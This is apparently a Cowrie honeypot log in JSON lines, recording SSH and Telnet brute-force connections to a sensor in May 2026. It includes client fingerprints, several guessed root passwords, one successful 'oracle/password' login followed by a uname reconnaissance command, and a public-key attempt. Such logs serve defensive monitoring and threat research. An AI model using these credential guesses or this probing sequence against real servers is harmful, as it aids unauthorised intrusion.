{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:53.802222Z","src_ip":"103.75.199.4","session":"95486d590b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:54.075221Z","src_ip":"103.75.199.4","session":"95486d590b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:55.169751Z","src_ip":"103.75.199.4","session":"95486d590b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":41168,"dst_ip":"10.17.0.5","dst_port":23,"session":"731220ca3d1b","protocol":"telnet","message":"New connection: 142.93.69.27:41168 (10.17.0.5:23) [session: 731220ca3d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:55.394235Z"}
{"eventid":"cowrie.session.closed","duration":41.92066550254822,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:57.258433Z","src_ip":"142.93.69.27","session":"5b8f774b8a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":43986,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4694b8d58ee","protocol":"ssh","message":"New connection: 154.83.196.237:43986 (159.203.135.109:22) [session: c4694b8d58ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:02.757880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:02.762486Z","src_ip":"154.83.196.237","session":"c4694b8d58ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:02.882305Z","src_ip":"154.83.196.237","session":"c4694b8d58ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"appldisc","message":"login attempt [root/appldisc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:03.394444Z","src_ip":"154.83.196.237","session":"c4694b8d58ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:04.518185Z","src_ip":"154.83.196.237","session":"c4694b8d58ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":41578,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b6248280ec","protocol":"ssh","message":"New connection: 202.29.225.206:41578 (159.203.135.109:22) [session: 36b6248280ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:06.610845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:06.614950Z","src_ip":"202.29.225.206","session":"36b6248280ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:06.860502Z","src_ip":"202.29.225.206","session":"36b6248280ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"colorado","message":"login attempt [root/colorado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:07.861823Z","src_ip":"202.29.225.206","session":"36b6248280ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:09.109488Z","src_ip":"202.29.225.206","session":"36b6248280ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52856,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60cd238ca3c","protocol":"ssh","message":"New connection: 103.75.199.4:52856 (159.203.135.109:22) [session: e60cd238ca3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:15.586237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:15.591539Z","src_ip":"103.75.199.4","session":"e60cd238ca3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:15.685306Z","src_ip":"103.75.199.4","session":"e60cd238ca3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:15.963011Z","src_ip":"103.75.199.4","session":"e60cd238ca3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:17.058309Z","src_ip":"103.75.199.4","session":"e60cd238ca3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":40620,"dst_ip":"159.203.135.109","dst_port":22,"session":"b506b1478cf6","protocol":"ssh","message":"New connection: 186.116.56.108:40620 (159.203.135.109:22) [session: b506b1478cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:18.652222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:18.656901Z","src_ip":"186.116.56.108","session":"b506b1478cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:18.792637Z","src_ip":"186.116.56.108","session":"b506b1478cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:19.203140Z","src_ip":"186.116.56.108","session":"b506b1478cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:20.300200Z","src_ip":"186.116.56.108","session":"b506b1478cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"f485b45cc18f","protocol":"ssh","message":"New connection: 43.163.119.215:36704 (10.17.0.5:22) [session: f485b45cc18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:22.286709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:22.290833Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:22.528537Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:23.245539Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:23.758393Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:23.761526Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:24.001147Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:24.006889Z","src_ip":"43.163.119.215","session":"f485b45cc18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":51408,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4abf455d08c","protocol":"ssh","message":"New connection: 103.149.26.43:51408 (10.17.0.5:22) [session: e4abf455d08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:29.896353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:29.901673Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:30.120828Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":55922,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cda91ca109c","protocol":"ssh","message":"New connection: 43.163.119.215:55922 (10.17.0.5:22) [session: 7cda91ca109c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:30.395945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:30.402549Z","src_ip":"43.163.119.215","session":"7cda91ca109c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:30.642712Z","src_ip":"43.163.119.215","session":"7cda91ca109c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuH/hv5V4/IPL896HT5LWF/zKpa/6JbK0i+3ZXw1cVtc8qzgm58+O1pRyCseIDDXJ2lsSzDruk7gF/JD4t6JhcpRTcxWaqiexstPmvN4u6Ln7dDn7Dv1LwhxnUg2NElQKOfkRIpcXwgOKq1gLLuInP7gWJvrBPKMfiHOmtuqgfzziAvQR90heGaAptQS/aEa+Pdz7SrNTgj8GVDACHt0ltHF1AdKpAPKvcjyl4771ng/KwVboFWETuaYrSuOw2Q7rwv4r4WmaXtZHNwakPuL7rZGkNTrnTQPL1aSP6tZ/0D4GF3fuTTD+EyoRFEH7aHiFpGWBmEC+ybrIBAIydcal3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:ce:2c:70:f8:f0:f0:2f:db:3b:35:c3:7a:b2:bf:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:31.197503Z","src_ip":"103.149.26.43","session":"e4abf455d08c","protocol":"ssh"}
